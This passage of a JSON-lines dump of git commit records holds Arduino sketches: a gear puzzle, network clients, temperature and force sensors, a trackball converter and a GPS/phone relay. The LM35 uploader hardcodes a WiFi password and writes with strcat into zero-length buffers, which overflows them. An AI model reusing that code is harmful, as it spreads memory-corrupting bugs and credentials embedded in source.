outputs for gear being lodged correctly\n for(int i=0; i<3; i++)\n {\n pinMode(gear_lodged[i], OUTPUT);\n digitalWrite(gear_lodged[i], LOW);\n }\n}\n\n\/\/ this is run continuously after setup has completed\nvoid loop() \n{\n delay(50);\n \/\/ print out position of the pot\n Serial.print(getSelectorGearPosition());\n Serial.print(\" \");\n Serial.println(getConnection(gear_connections[0][0], gear_connections[0][1]));\n \n \/\/ TODO(benkraft)\n \/\/ this should probably be a state machine since the loop function loops\n \/\/ every cycle -- check if gears are removed, if so, reset (check by making sure gear orientations\/types are the same)\n \/\/ first state -- gear insertion\n \/\/ some kind of check that all gears are good\n \/\/ second state -- move through selector gear connections\n \/\/ verify which ones should be connections\n \/\/ if connection is good, turn on specific light\/solenoid for feedback\n \/\/ if all 7 connections were good, send message for success\n \/\/ if you need to send any other messages back to the castle, lemme know\n\n}\n\nvoid sendCastleSuccessMessage() \n{\n \/\/ 20's -- 2nd puzzle message\n \/\/ -0 -- first message from this puzzle\n Serial.println(20);\n}\n\nvoid sendCastleErrorMessage()\n{\n Serial.println(21);\n}\n\n\/\/ TODO(benkraft): change return signature to however you want to represent gears\n\/\/ returns which gear type is inserted + the orientation of the gear\nvoid getOrientationAndTypeForGear(int gear_num)\n{\n \/\/ so the basic idea here is that each gear is attached in 12 places\n \/\/ a pair of them will be connected\n \/\/ on gear A, they're consecutive\n \/\/ on gear B, they're 1 away\n \/\/ on gear C, they're 2 away\n \/\/ since they're flip symmetric(yay!) this will uniquely identify each gear + its orientation\n \n \/\/ example: check whether slots 0 and 1 are connected on gear #0\n getConnection(gear_connections[0][0], gear_connections[0][1]);\n}\n\n\/\/ all pins are tied to ground with a 12kOhm resistor\n\/\/ we drive one of the pins high (changing its impedance mode) and read the other pin\n\/\/ if high, we're connected, if low, not connected\n\/\/ pins on separate gears will never be connected\n\/\/ returns true if the pins are connected\n\/\/ side effects: briefly turns pin1 high, but returns it to input mode after\nboolean getConnection(int pin1, int pin2) \n{\n pinMode(pin1, OUTPUT);\n digitalWrite(pin1, HIGH);\n \n boolean rtrn = false;\n if (digitalRead(pin2)) {\n rtrn = true;\n }\n delay(2000);\n \n digitalWrite(pin1, LOW); \n pinMode(pin1, INPUT);\n \n return rtrn;\n}\n\n\/\/ based on the pot value, we know which of the 7 positions the selector gear is in\n\/\/ returns an int 0-6 inclusive or -1 in error cases\n\/\/ if the pot value is out of range, throws an error and informs the castle operators that the puzzle is broken\n\/\/ the position of the selector gear uniquely determines the position of all of the other gears\nint getSelectorGearPosition() \n{\n int val = analogRead(pot);\n \n for (int i=0; i<7; i++)\n {\n if (val > pot_locs[i] && val < pot_locs[i+1])\n {\n return i;\n }\n }\n \n \/\/ else: val is below pot_locs[0] or greater than pot_locs[7]\n \/\/ puzzle is borken\n sendCastleErrorMessage();\n return -1;\n}\n\n\/\/ turn on light \/ open solenoid for selector connection #n\nvoid showCorrect(int n)\n{\n \/\/ turn on light\n digitalWrite(output_lights[n], HIGH);\n \n \/\/ TODO(bhomberg): open solenoid??\n}\n\n\/\/ gears have been taken out \/ selector gear goes back to beginning, reset everything\nvoid reset()\n{\n \/\/ TODO(benkraft): clear all known gears\n\n \/\/ turn off all lights\n for(int i=0; i<7; i++)\n {\n digitalWrite(output_lights[i], LOW);\n }\n for(int i=0; i<3; i++) \n {\n digitalWrite(gear_lodged[i], LOW);\n }\n\n \/\/ TODO(bhomberg): close all solenoids (??)\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'crypt-gears\/gear_arduino\/gear_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1fb3076955128ca0d033b9fb5ba9adbc5b88ca8a","subject":"Add webclient examples","message":"Add webclient examples\n","repos":"designiot\/code,designiot\/code,phodal\/iot-code,phodal\/iot-code,designiot\/code,phodal\/iot-code,phodal\/iot-code,designiot\/code","old_file":"chapter5\/WebClient\/WebClient.ino","new_file":"chapter5\/WebClient\/WebClient.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address for your controller below.\n\/\/ Newer Ethernet shields have a MAC address printed on a sticker on the shield\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar server[] = \"192.168.3.12\"; \n\n\/\/ Set the static IP address to use if the DHCP fails to assign\nIPAddress ip(192,168,3,200);\n\n\/\/ Initialize the Ethernet client library\n\/\/ with the IP address and port of the server\n\/\/ that you want to connect to (port 80 is default for HTTP):\nEthernetClient client;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n \/\/ start the Ethernet connection:\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n \/\/ no point in carrying on, so do nothing forevermore:\n \/\/ try to congifure using IP address instead of DHCP:\n Ethernet.begin(mac, ip);\n }\n \/\/ give the Ethernet shield a second to initialize:\n delay(1000);\n Serial.println(\"connecting...\");\n\n \/\/ if you get a connection, report back via serial:\n if (client.connect(server, 3000)) {\n Serial.println(\"connected\");\n \/\/ Make a HTTP request:\n client.println(\"GET \/api\/1 HTTP\/1.1\");\n client.println(\"Host: 192.168.3.12\");\n client.println(\"Connection: close\");\n client.println();\n }\n else {\n Serial.println(\"connection failed\");\n }\n}\n\nvoid loop()\n{\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n \/\/ if the server's disconnected, stop the client:\n if (!client.connected()) {\n Serial.println();\n Serial.println(\"disconnecting.\");\n client.stop();\n\n \/\/ do nothing forevermore:\n while (true);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chapter5\/WebClient\/WebClient.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b63f6218a821e1eb20261de6a1e66e7cd2bfd6a6","subject":"add arduino program","message":"add arduino program\n","repos":"duchangyu\/project-arduivew,duchangyu\/project-arduivew,duchangyu\/project-arduivew","old_file":"arduino\/arduibiew-lm35\/arduibiew-lm35.ino","new_file":"arduino\/arduibiew-lm35\/arduibiew-lm35.ino","new_contents":"\/***************************************************\n * This is an example for the DFRobot Wido - Wifi Integrated IoT lite sensor and control node\n * Product Page & More info: http:\/\/www.dfrobot.com.cn\/goods-997.html\n * Designed specifically to work with the DFRobot Wido products:\n *\n * The library is forked from Adafruit\n *\n * Written by Lauren\n * BSD license, all text above must be included in any redistribution\n *\n ****************************************************\/\n\n\/*\nThis example code is used to connect the Yeelink cloud service (Official homepage: www.yeelink.net).\n\n The device required is just:\n\n 1. LM35 low cost temperature sensor or any device you used to upload data\n 2. And Wido\n\nNote: Please don't forget to change the setting below before using!\n 1. WLAN_SSID & WlAN_PASS\n 2. API_key\n 3. device ID & sensor ID\n\n *\/\n\n\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#define Wido_IRQ 3\n#define Wido_VBAT 5\n#define Wido_CS 10\n\nAdafruit_CC3000 Wido = Adafruit_CC3000(Wido_CS, Wido_IRQ, Wido_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n\n#define WLAN_SSID \"242\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"4659875admin\" \/\/ For connecting router or AP, don't forget to set the SSID and password here!!\n\n#define DEVICE_ID \"561083be06dd6162658ae8c8\" \/\/arduiview device id\n\n\n#define TCP_TIMEOUT 3000\n\/\/#define CC3000_TINY_DRIVER\n\n#define WEBSITE \"arduiview.herokuapp.com\"\n\nvoid setup() {\n\n Serial.begin(115200);\n Serial.println(F(\"Hello, CC3000!\\n\"));\n\n \/* Initialise the module *\/\n Serial.println(F(\"\\nInitialising the CC3000 ...\"));\n if (!Wido.begin())\n {\n Serial.println(F(\"Unable to initialise the CC3000! Check your wiring?\"));\n while (1);\n }\n\n \/* Attempt to connect to an access point *\/\n char *ssid = WLAN_SSID; \/* Max 32 chars *\/\n Serial.print(F(\"\\nAttempting to connect to \"));\n Serial.println(ssid);\n\n \/* NOTE: Secure connections are not available in 'Tiny' mode!\n By default connectToAP will retry indefinitely, however you can pass an\n optional maximum number of retries (greater than zero) as the fourth parameter.\n *\/\n if (!Wido.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while (1);\n }\n\n Serial.println(F(\"Connected!\"));\n\n \/* Wait for DHCP to complete *\/\n Serial.println(F(\"Request DHCP\"));\n while (!Wido.checkDHCP())\n {\n delay(1000); \/\/ ToDo: Insert a DHCP timeout!\n }\n\n}\n\nuint32_t ip = 0;\nfloat temp = 0;\n\nvoid loop() {\n\n static Adafruit_CC3000_Client WidoClient;\n static unsigned long RetryMillis = 0;\n static unsigned long uploadtStamp = 0;\n static unsigned long sensortStamp = 0;\n\n if (!WidoClient.connected() && millis() - RetryMillis > TCP_TIMEOUT) {\n \/\/ Update the time stamp\n RetryMillis = millis();\n\n Serial.println(F(\"Try to connect the cloud server\"));\n WidoClient.close();\n\n \/\/ Get cloud server IP address\n Serial.print(WEBSITE);\n while (ip == 0) {\n if (!Wido.getHostByName(WEBSITE, &ip)) { \/\/ Get the server IP address based on the domain name\n Serial.println(F(\"Couldn't resolve!\"));\n }\n delay(500);\n }\n Wido.printIPdotsRev(ip);\n Serial.println(F(\"\"));\n\n \/\/ Connect to the aruduiview Server\n WidoClient = Wido.connectTCP(ip, 80); \/\/ Try to connect cloud server\n }\n\n if (WidoClient.connected() && millis() - uploadtStamp > 2000) {\n uploadtStamp = millis();\n \/\/ If the device is connected to the cloud server, upload the data every 2000ms.\n\n \/\/ Prepare Http Package for Yeelink & get length\n int length = 0;\n char lengthstr[3];\n\n \/\/ Create Http data package\n char httpPackage[] = \"\";\n\n strcat(httpPackage , \"{\\\"values\\\":[\");\n strcat(httpPackage , \"{\\\"timestamp\\\" : \");\n \/\/convert long to char array\n char sTimeStamp[] = \"\";\n sprintf(sTimeStamp,\"%d\",uploadtStamp);\n strcat(httpPackage , sTimeStamp);\n strcat(httpPackage , \",\");\n strcat(httpPackage , \"\\\"temperature\\\" : \");\n char sTemp[] = \"\";\n printf(sTemp,\"%f\",temp);\n strcat(httpPackage , sTemp); \/\/ push the data(temp) to the http data package\n strcat(httpPackage , \"}\");\n strcat(httpPackage , \"]}\");\n\n length = strlen(httpPackage); \/\/ get the length of data package\n itoa(length, lengthstr, 10); \/\/ convert int to char array for posting\n Serial.print(F(\"Length = \"));\n Serial.println(length);\n\n Serial.println(F(\"Connected to arduiview server.\"));\n\n \/\/ Send headers\n Serial.print(F(\"Sending headers\"));\n\n WidoClient.fastrprint(F(\"PUT \/api\/sensors\/\"));\n char *deviceId = DEVICE_ID;\n WidoClient.fastrprint(deviceId);\n WidoClient.fastrprint(F(\"\/values\"));\n\n \/\/Please change your device ID and sensor ID here, after creating\n \/\/Please check the link: http:\/\/www.yeelink.net\/user\/devices\n \/\/The example URL: http:\/\/api.yeelink.net\/v1.1\/device\/100\/sensor\/20\/datapoints\n WidoClient.fastrprintln(F(\" HTTP\/1.1\"));\n Serial.print(F(\".\"));\n\n WidoClient.fastrprintln(F(\"Host: arduiview.herokuapp.com\"));\n Serial.print(F(\".\"));\n\n WidoClient.fastrprint(F(\"content-type: \"));\n WidoClient.fastrprintln(\"application\/json\");\n Serial.print(F(\".\"));\n\n WidoClient.fastrprint(\"Content-Length: \");\n WidoClient.fastrprintln(lengthstr);\n WidoClient.fastrprintln(\"\");\n Serial.print(F(\".\"));\n\n Serial.println(F(\" done.\"));\n\n \/\/ Send data\n Serial.print(F(\"Sending data\"));\n\n \/\/char payload[600] = \"\";\n \/\/strcat(payload,httpPackage);\n WidoClient.fastrprintln(httpPackage);\n\n Serial.println(F(\"-----\"));\n Serial.println(httpPackage);\n Serial.println(F(\"-----\"));\n \n Serial.println(F(\" done.\"));\n\n \/********** Get the http page feedback ***********\/\n\n unsigned long rTimer = millis();\n Serial.println(F(\"Reading Cloud Response!!!\\r\\n\"));\n while (millis() - rTimer < 2000) {\n while (WidoClient.connected() && WidoClient.available()) {\n char c = WidoClient.read();\n Serial.print(c);\n }\n }\n delay(1000); \/\/ Wait for 1s to finish posting the data stream\n WidoClient.close(); \/\/ Close the service connection\n\n RetryMillis = millis(); \/\/ Reset the timer stamp for applying the connection with the service\n }\n\n if (millis() - sensortStamp > 100) {\n sensortStamp = millis();\n \/\/ read the LM35 sensor value and convert to the degrees every 100ms.\n\n int reading = analogRead(0);\n temp = reading * 0.0048828125 * 100;\n Serial.print(F(\"Real Time Temp: \"));\n Serial.println(temp);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduibiew-lm35\/arduibiew-lm35.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4296abdbf1a40b0a9b13eda44a395369d6806655","subject":"arduino code added","message":"arduino code added\n","repos":"adilsonchacon\/web-ecg,adilsonchacon\/web-ecg","old_file":"arduino\/readfromanalog\/readfromanalog.ino","new_file":"arduino\/readfromanalog\/readfromanalog.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/adilsonchacon\/web-ecg.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a5814995f00f546e52cd7eb1cb2c60292765bbf0","subject":"Added example to read force sensitive resistor.","message":"Added example to read force sensitive resistor.\n","repos":"rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox","old_file":"examples\/fsr_analog_read\/fsr_analog_read.ino","new_file":"examples\/fsr_analog_read\/fsr_analog_read.ino","new_contents":"\/* FSR testing sketch. \n \nConnect one end of FSR to 5V, the other end to Analog 0.\nThen connect one end of a 10K resistor from Analog 0 to ground\nConnect LED from pin 11 through a resistor to ground \n \nFor more information see www.ladyada.net\/learn\/sensors\/fsr.html *\/\n \n#define fsrAnalogPin 0 \/\/ FSR is connected to analog 0\nint fsrReading; \/\/ the analog reading from the FSR resistor divider\n \nvoid setup(void) {\n Serial.begin(9600); \/\/ We'll send debugging information via the Serial monitor\n}\n \nvoid loop(void) {\n fsrReading = analogRead(fsrAnalogPin);\n Serial.print(\"Analog reading = \");\n Serial.println(fsrReading);\n \n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/fsr_analog_read\/fsr_analog_read.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d79a6a7dbed5c319c89a734607427c96a5676a57","subject":"added firmware for the temperature prototype","message":"added firmware for the temperature prototype\n","repos":"it2901g10\/GROUP10-baf_sintef_arduino,it2901g10\/GROUP10-baf_sintef_arduino,it2901g10\/GROUP10-baf_sintef_arduino","old_file":"arduino\/TempProto\/TempProto.ino","new_file":"arduino\/TempProto\/TempProto.ino","new_contents":"#include <ComputerSerial.h>\n\nComputerSerial comp;\n\nvoid* analogTemp(byte flag, byte content[], byte contentSize){\n\tint *status = (int*)malloc(sizeof(int));\n\t*status = analogRead(flag < 2 ? flag : 0);\n\treturn status;\n}\n\nstatic unsigned long bytes = 0;\nvoid setup(){\n\tcomp.begin(9600);\n\tcomp.attachFunction(comp.OPCODE_SENSOR, &analogTemp);\n}\n\nvoid loop(){\n\n}\n\n\nvoid serialEvent(){\n\tbytes += Serial.available();\n\t\n\tcomp.serialEvent();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/TempProto\/TempProto.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"080ab2e7dd09e82b349088a44cde472294d43a27","subject":"trackballPro.ino","message":"trackballPro.ino\n\nConverts a Busmouse version of the CH Products Trackball Pro to USB HID.","repos":"GuilleAcoustic\/QuadratureMouse","old_file":"trackballPro.ino","new_file":"trackballPro.ino","new_contents":"\/* ================================================================================\n Author : GuilleAcoustic\n Date : 2015-05-22\n Revision: V1.0\n Purpose : Opto-mechanical trackball firmware\n --------------------------------------------------------------------------------\n Wiring informations: Sparkfun Pro micro (Atmega32u4)\n --------------------------------------------------------------------------------\n - Red : Gnd | Pin: Gnd\n - Orange : Vcc (+5V) | Pin: Vcc\n - Yellow : X axis encoder \/ channel A | Pin: PD3 - (INT0)\n - Green : X axis encoder \/ channel B | Pin: PD2 - (INT1)\n - Blue : Y axis encoder \/ channel A | Pin: PD0 - (INT2)\n - Violet : Y axis encoder \/ channel B | Pin: PD1 - (INT3)\n - Grey : Switch 1 | Pin: PB3\n - White : Switch 2 | Pin: PB2\n - Black : Switch 3 | Pin: PB1\n ================================================================================ *\/\n\n\/\/ =================================================================================\n\/\/ Type definition\n\/\/ =================================================================================\ntypedef struct\n{\n int8_t coordinate = 0;\n uint8_t index = 0;\n} ENCODER_;\n\n\/\/ =================================================================================\n\/\/ Constant definition\n\/\/ =================================================================================\nconst int8_t lookupTable[] = {0, 1, -1, 0, -1, 0, 0, 1, 1, 0, 0, -1, 0, -1, 1, 0};\n\n\/\/ =================================================================================\n\/\/ Volatile variables\n\/\/ =================================================================================\nvolatile ENCODER_ xAxis;\nvolatile ENCODER_ yAxis;\nvolatile boolean leftButton = false;\nvolatile boolean middleButton = false;\nvolatile boolean rightButton = false;\n\n\/\/ =================================================================================\n\/\/ Setup function\n\/\/ =================================================================================\nvoid setup()\n{\n \/\/ Attach interruption to encoders channels\n attachInterrupt(0, ISR_HANDLER_X, CHANGE);\n attachInterrupt(1, ISR_HANDLER_X, CHANGE);\n attachInterrupt(2, ISR_HANDLER_Y, CHANGE);\n attachInterrupt(3, ISR_HANDLER_Y, CHANGE);\n \n \/\/ Start the mouse function\n Mouse.begin();\n}\n\n\/\/ =================================================================================\n\/\/ Main program loop\n\/\/ =================================================================================\nvoid loop()\n{\n \/\/ Update mouse coordinates\n if (xAxis.coordinate != 0 || yAxis.coordinate != 0)\n {\n Mouse.move(xAxis.coordinate, yAxis.coordinate);\n xAxis.coordinate = 0;\n yAxis.coordinate = 0;\n }\n\n \/\/ ---------------------------------\n \/\/ Left mouse button state update\n \/\/ ---------------------------------\n if (!(PINB & 0b1000) && !leftButton)\n {\n Mouse.press(MOUSE_LEFT);\n leftButton = true;\n }\n else\n {\n if ((PINB & 0b1000) && leftButton)\n {\n Mouse.release(MOUSE_LEFT);\n leftButton = false;\n }\n }\n\n \/\/ ---------------------------------\n \/\/ Right mouse button state update\n \/\/ --------------------------------- \n if (!(PINB & 0b0100) && !rightButton)\n {\n Mouse.press(MOUSE_RIGHT);\n rightButton = true;\n }\n else\n {\n if ((PINB & 0b0100) && rightButton)\n {\n Mouse.release(MOUSE_RIGHT);\n rightButton = false;\n }\n }\n \n \/\/ ---------------------------------\n \/\/ Middle mouse button state update\n \/\/ ---------------------------------\n if (!(PINB & 0b0010) && !middleButton)\n {\n Mouse.press(MOUSE_MIDDLE);\n middleButton = true;\n }\n else\n {\n if ((PINB & 0b0010) && middleButton)\n {\n Mouse.release(MOUSE_MIDDLE);\n middleButton = false;\n }\n }\n\n \/\/ Wait a little before next update\n delay(10);\n}\n\n\/\/ =================================================================================\n\/\/ Interrupt handlers\n\/\/ =================================================================================\nvoid ISR_HANDLER_X()\n{\n \/\/ Build the LUT index from previous and new data\n xAxis.index = (xAxis.index << 2) | ((PIND & 0b00000011) >> 0);\n xAxis.coordinate += lookupTable[xAxis.index & 0b00001111];\n}\n\nvoid ISR_HANDLER_Y()\n{\n \/\/ Build the LUT index from previous and new data\n yAxis.index = (yAxis.index << 2) | ((PIND & 0b00001100) >> 2);\n yAxis.coordinate += lookupTable[yAxis.index & 0b00001111];\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'trackballPro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"99ea68e60de48df83392bd513304ad8a34595ebd","subject":"Created an analog reader that implements a moving average smoothing and change detection","message":"Created an analog reader that implements a moving average smoothing and change detection\n","repos":"bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013,bakercp\/ExperimentalMedia2013","old_file":"people\/mikewesthad\/Week5\/Arduino\/AnalogReadWithSmoothing\/AnalogReadWithSmoothing.ino","new_file":"people\/mikewesthad\/Week5\/Arduino\/AnalogReadWithSmoothing\/AnalogReadWithSmoothing.ino","new_contents":"const int potPin = A0;\nconst int BAUD_RATE = 9600;\n\n\/\/ Array variables for tracking a window of potentiometer values\n\/\/ We want to hold on to the last NUM_SAMPLES values and perform\n\/\/ an average on them to arrive at a 'current' value - this \n\/\/ is called a moving average: http:\/\/en.wikipedia.org\/wiki\/Moving_average\nconst int NUM_SAMPLES = 10;\nint potSamples[NUM_SAMPLES];\nint potIndex = 0;\nint totalPotValue = 0;\n\n\/\/ Change detection variables\n\/\/ Even with the averaging, our pot value will likely still flip between\n\/\/ neighboring values, so this changeThreshold is used in order to only\n\/\/ update the pot value sent out from the arduino if the pot value\n\/\/ has changed by a specified amount\nint lastAveragePotValue = 0;\nint changeThreshold = 2;\n\nvoid setup()\n{\n Serial.begin(BAUD_RATE);\n \n \/\/ Fill the array of samples with zeros\n for (int i=0; i<NUM_SAMPLES; i++) potSamples[i] = 0; \n}\n\nvoid loop()\n{\n \/\/ potSamples[potIndex] is the oldest data in the array\n \/\/ We are about to override it with a new value, but first\n \/\/ we need to subtract it from our running total of pot values \n totalPotValue -= potSamples[potIndex];\n \n \/\/ Get the current pot value\n int currentPotValue = analogRead(potPin);\n \n \/\/ Update our running total and add the new value to the array\n totalPotValue += currentPotValue;\n potSamples[potIndex] = currentPotValue;\n \n \/\/ Increment our index\n potIndex++;\n if (potIndex>NUM_SAMPLES-1) potIndex = 0;\n \n \/\/ Calculate the average pot value\n int averagePotValue = totalPotValue \/ NUM_SAMPLES;\n \n \/\/ Detect whether the new average pot value has changed enough\n \/\/ from our last saved average pot value\n if (abs(averagePotValue-lastAveragePotValue)>=changeThreshold){\n lastAveragePotValue = averagePotValue;\n }\n \n \/\/ Output the last saved average pot value \n \/\/ i.e. the last one that exceeeded the change threshold\n Serial.println(lastAveragePotValue);\n \n \/\/ Delay\n delay(50);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'people\/mikewesthad\/Week5\/Arduino\/AnalogReadWithSmoothing\/AnalogReadWithSmoothing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"90bc489303dc0736fe3ae18c204389dc28b2cf5c","subject":"Create bananaphone.ino","message":"Create bananaphone.ino","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"bananaphone.ino","new_file":"bananaphone.ino","new_contents":"#include \"TinyGPS.h\"\n#include <Wire.h>\n#include <IntersemaBaro.h>\n#define compass 0x1E\n#include <SoftwareSerial.h>\nSoftwareSerial nss(6, 255); \/\/ Yellow wire to pin 6\nSoftwareSerial phone (7,8);\nunsigned char buff[512]; \/* buffer *\/\nint index=0;\nIntersema::BaroPressure_MS5607B baro(true);\nTinyGPS gps;\n\nvoid setup() {\n \n phone.begin(19200); \/* baud rate *\/ \n nss.begin(4800);\n Serial.begin(9600); \n baro.init();\n \/\/ Set operating mode to continuous\n Wire.beginTransmission(compass); \n Wire.write(byte(0x02));\n Wire.write(byte(0x00));\n Wire.endTransmission();\n power_state();\n}\n\nvoid loop(){\nphone_interface();\n\n}\n\n\nfloat get_bearing() {\n int x, y, z;\n\n \/\/ Initiate communications with compass\n Wire.beginTransmission(compass);\n Wire.write(byte(0x03)); \/\/ Send request to X MSB register\n Wire.endTransmission();\n\n Wire.requestFrom(compass, 6); \/\/ Request 6 bytes; 2 bytes per axis\n if(Wire.available() <=6) { \/\/ If 6 bytes available\n x = Wire.read() << 8 | Wire.read();\n z = Wire.read() << 8 | Wire.read();\n y = Wire.read() << 8 | Wire.read();\n\n }\n \/\/ Calculate heading when the magnetometer is level, then correct for signs of axis.\n float heading = atan2(x, y);\n \n \/\/ Correct for when signs are reversed.\n \/*if(heading < 0)\n heading += 2*PI;\n \n \/\/ Convert radians to degrees for readability.\n float h_deg = heading * 180\/M_PI; \n *\/return (heading);\n}\nint get_height() {\n int alt = baro.getHeightCentiMeters();\n Serial.println(alt);\n delay(400);\n return alt;\n}\n\nvoid phone_interface(){\nphone.listen();\nif (phone.available()) \/* wait for data *\/\n {\n while(phone.available()) \n {\n buff[index++]=phone.read(); \/* writing data into buff*\/\n if(index == 256)break;\n }\n Serial.write(buff,index); \/*tx*\/\n clr_buff_arr(); \/*zero buffer array and index*\/\n index = 0; \n \n }\n if (Serial.available()) \/*wait*\/\n phone.write(Serial.read()); \/* rx*\/\n}\nvoid clr_buff_arr()\n{\n for (int i=0; i<index;i++)\n { buff[i]=NULL;} \/* clear each index *\/\n}\n\n\nvoid print_gps(){\n bool newdata = false;\n unsigned long start = millis();\n while (millis() - start < 5000) { \/\/ Update every 5 seconds\n if (feedgps())\n newdata = true;\n }\n if (newdata) {\n gpsdump(gps);\n }\n}\n\n\/\/ Get and process GPS data\nvoid gpsdump(TinyGPS &gps) {\n float flat, flon;\n unsigned long age;\n gps.f_get_position(&flat, &flon, &age);\n Serial.print(flat, 4); Serial.print(\", \"); \n Serial.println(flon, 4);\n}\n\n\/\/ Feed data as it becomes available \nbool feedgps() {\n nss.listen();\n while (nss.available()) {\n if (gps.encode(nss.read()))\n return true;\n }\n return false;\n}\n\nvoid power_state()\n{\n pinMode(9, OUTPUT); \n digitalWrite(9,LOW);\n delay(1000);\n digitalWrite(9,HIGH);\n delay(2000);\n digitalWrite(9,LOW);\n delay(3000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bananaphone.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e2e0bd48ea66d7ca6693382c4b241156069a872f","subject":"Existing example doesn't work on my DS18B20. Added working example.","message":"Existing example doesn't work on my DS18B20. Added working example.\n","repos":"kbowerma\/OneWireSpark,N6UDP\/OneWireSpark,Hotaman\/OneWireSpark","old_file":"firmware\/examples\/DS18x20_Temperature.ino","new_file":"firmware\/examples\/DS18x20_Temperature.ino","new_contents":"\/\/ Use this include for the Web IDE:\n#include \"Particle-OneWire\/Particle-OneWire.h\"\n\n\/\/ Use this include for Particle Dev where everything is in one directory.\n\/\/ #include \"Particle-OneWire.h\"\n\n\/\/ This library can be tested on the Core\/Photon by running the below\n\/\/ DS18x20 example from PJRC:\n\n\/\/ OneWire DS18S20, DS18B20, DS1822 Temperature Example\n\/\/\n\/\/ http:\/\/www.pjrc.com\/teensy\/td_libs_OneWire.html\n\/\/\n\/\/ The DallasTemperature library can do all this work for you!\n\/\/ http:\/\/milesburton.com\/Dallas_Temperature_Control_Library\n\nOneWire ds(D0); \/\/ on pin D0 (a 4.7K resistor is necessary)\n\nvoid setup(void) {\n Serial.begin(57600);\n}\n\nvoid loop(void) {\n byte i;\n byte present = 0;\n byte type_s;\n byte data[12];\n byte addr[8];\n float celsius, fahrenheit;\n\n if ( !ds.search(addr)) {\n Serial.println(\"No more addresses.\");\n Serial.println();\n ds.reset_search();\n delay(250);\n return;\n }\n\n Serial.print(\"ROM =\");\n for( i = 0; i < 8; i++) {\n Serial.write(' ');\n Serial.print(addr[i], HEX);\n }\n\n if (OneWire::crc8(addr, 7) != addr[7]) {\n Serial.println(\"CRC is not valid!\");\n return;\n }\n Serial.println();\n\n \/\/ the first ROM byte indicates which chip\n switch (addr[0]) {\n case 0x10:\n Serial.println(\" Chip = DS18S20\"); \/\/ or old DS1820\n type_s = 1;\n break;\n case 0x28:\n Serial.println(\" Chip = DS18B20\");\n type_s = 0;\n break;\n case 0x22:\n Serial.println(\" Chip = DS1822\");\n type_s = 0;\n break;\n default:\n Serial.println(\"Device is not a DS18x20 family device.\");\n return;\n }\n\n ds.reset();\n ds.select(addr);\n ds.write(0x44, 1); \/\/ start conversion, with parasite power on at the end\n\n delay(1000); \/\/ maybe 750ms is enough, maybe not\n \/\/ we might do a ds.depower() here, but the reset will take care of it.\n\n present = ds.reset();\n ds.select(addr);\n ds.write(0xBE); \/\/ Read Scratchpad\n\n Serial.print(\" Data = \");\n Serial.print(present, HEX);\n Serial.print(\" \");\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = ds.read();\n Serial.print(data[i], HEX);\n Serial.print(\" \");\n }\n Serial.print(\" CRC=\");\n Serial.print(OneWire::crc8(data, 8), HEX);\n Serial.println();\n\n \/\/ Convert the data to actual temperature\n \/\/ because the result is a 16 bit signed integer, it should\n \/\/ be stored to an \"int16_t\" type, which is always 16 bits\n \/\/ even when compiled on a 32 bit processor.\n int16_t raw = (data[1] << 8) | data[0];\n if (type_s) {\n raw = raw << 3; \/\/ 9 bit resolution default\n if (data[7] == 0x10) {\n \/\/ \"count remain\" gives full 12 bit resolution\n raw = (raw & 0xFFF0) + 12 - data[6];\n }\n } else {\n byte cfg = (data[4] & 0x60);\n \/\/ at lower res, the low bits are undefined, so let's zero them\n if (cfg == 0x00) raw = raw & ~7; \/\/ 9 bit resolution, 93.75 ms\n else if (cfg == 0x20) raw = raw & ~3; \/\/ 10 bit res, 187.5 ms\n 